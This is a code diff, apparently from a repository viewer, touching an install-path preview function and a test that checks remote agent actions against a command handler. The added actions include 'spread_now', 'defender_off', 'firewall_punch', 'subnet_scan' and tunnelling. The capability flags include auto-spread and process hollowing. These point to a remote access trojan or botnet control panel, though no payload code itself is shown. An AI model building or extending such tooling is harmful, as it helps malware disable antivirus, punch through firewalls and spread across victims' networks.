@@ -37,6 +41,18 @@ export function previewInstallPath(options: {
|
|||||||
.replace(/\{process\}/g, process);
|
.replace(/\{process\}/g, process);
|
||||||
|
|
||||||
rel = rel.replace(/^\/+|\/+$/g, '');
|
rel = rel.replace(/^\/+|\/+$/g, '');
|
||||||
|
|
||||||
|
if (targetOs === 'universal') {
|
||||||
|
const winFolder = rel ? `${BASE_LABELS.localappdata}\\${rel.replace(/\//g, '\\')}` : BASE_LABELS.localappdata;
|
||||||
|
const unixFolder = rel ? `${BASE_LABELS.xdg_data_home}/${rel}` : BASE_LABELS.xdg_data_home;
|
||||||
|
return `Windows: ${winFolder}\\${process}.exe · Linux/Mac: ${unixFolder}/${process}`;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (targetOs === 'linux' || targetOs === 'darwin') {
|
||||||
|
const folder = rel ? `${base}/${rel}` : base;
|
||||||
|
return `${folder}/${process}`;
|
||||||
|
}
|
||||||
|
|
||||||
const folder = rel ? `${base}\\${rel.replace(/\//g, '\\')}` : base;
|
const folder = rel ? `${base}\\${rel.replace(/\//g, '\\')}` : base;
|
||||||
return `${folder}\\${process}.exe`;
|
return `${folder}\\${process}.exe`;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,4 +1,5 @@
|
|||||||
import { describe, it, expect } from 'vitest';
|
import { describe, it, expect } from 'vitest';
|
||||||
|
import { AGGRESSIVE_REMOTE_ACTIONS, canRunAggressiveAction } from './aggressiveActions';
|
||||||
|
|
||||||
/** Buttons in AgentRemoteActions (full + compact) — must match agent/client handleCommand. */
|
/** Buttons in AgentRemoteActions (full + compact) — must match agent/client handleCommand. */
|
||||||
const UI_REMOTE_ACTIONS = [
|
const UI_REMOTE_ACTIONS = [
|
||||||
@@ -16,9 +17,10 @@ const UI_REMOTE_ACTIONS = [
|
|||||||
'get_log',
|
'get_log',
|
||||||
'powershell',
|
'powershell',
|
||||||
'upload',
|
'upload',
|
||||||
|
...AGGRESSIVE_REMOTE_ACTIONS,
|
||||||
] as const;
|
] as const;
|
||||||
|
|
||||||
/** Implemented in agent/client/client.go handleCommand switch. */
|
/** Implemented in agent/client (handleCommand + aggressive_commands). */
|
||||||
const AGENT_HANDLED = new Set([
|
const AGENT_HANDLED = new Set([
|
||||||
'pause',
|
'pause',
|
||||||
'resume',
|
'resume',
|
||||||
@@ -40,6 +42,15 @@ const AGENT_HANDLED = new Set([
|
|||||||
'ipconfig',
|
'ipconfig',
|
||||||
'clipboard',
|
'clipboard',
|
||||||
'wifi',
|
'wifi',
|
||||||
|
'hole_punch',
|
||||||
|
'hole_punch_close',
|
||||||
|
'hole_punch_status',
|
||||||
|
'spread_now',
|
||||||
|
'start_tunnel',
|
||||||
|
'subnet_scan',
|
||||||
|
'defender_off',
|
||||||
|
'firewall_punch',
|
||||||
|
'mesh_status',
|
||||||
]);
|
]);
|
||||||
|
|
||||||
describe('remote action wiring', () => {
|
describe('remote action wiring', () => {
|
||||||
@@ -48,4 +59,15 @@ describe('remote action wiring', () => {
|
|||||||
expect(AGENT_HANDLED.has(action)).toBe(true);
|
expect(AGENT_HANDLED.has(action)).toBe(true);
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('gates hole punch when capability missing', () => {
|
||||||
|
expect(canRunAggressiveAction('hole_punch', { hole_punch: false, remote_aggressive: true, mesh_p2p: false, auto_spread: false, process_hollowing: false, ai_enabled: false })).toBe(false);
|
||||||
|
expect(canRunAggressiveAction('hole_punch', { hole_punch: true, remote_aggressive: false, mesh_p2p: false, auto_spread: false, process_hollowing: false, ai_enabled: false })).toBe(true);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('blocks defender_off on darwin regardless of caps', () => {
|
||||||
|
const caps = { hole_punch: true, remote_aggressive: true, mesh_p2p: false, auto_spread: false, process_hollowing: false, ai_enabled: false };
|
||||||
|
expect(canRunAggressiveAction('defender_off', caps, 'darwin')).toBe(false);
|
||||||
|
expect(canRunAggressiveAction('defender_off', caps, 'windows')).toBe(true);
|
||||||
|
});
|
||||||
});
|
});
|
||||||
|
|||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user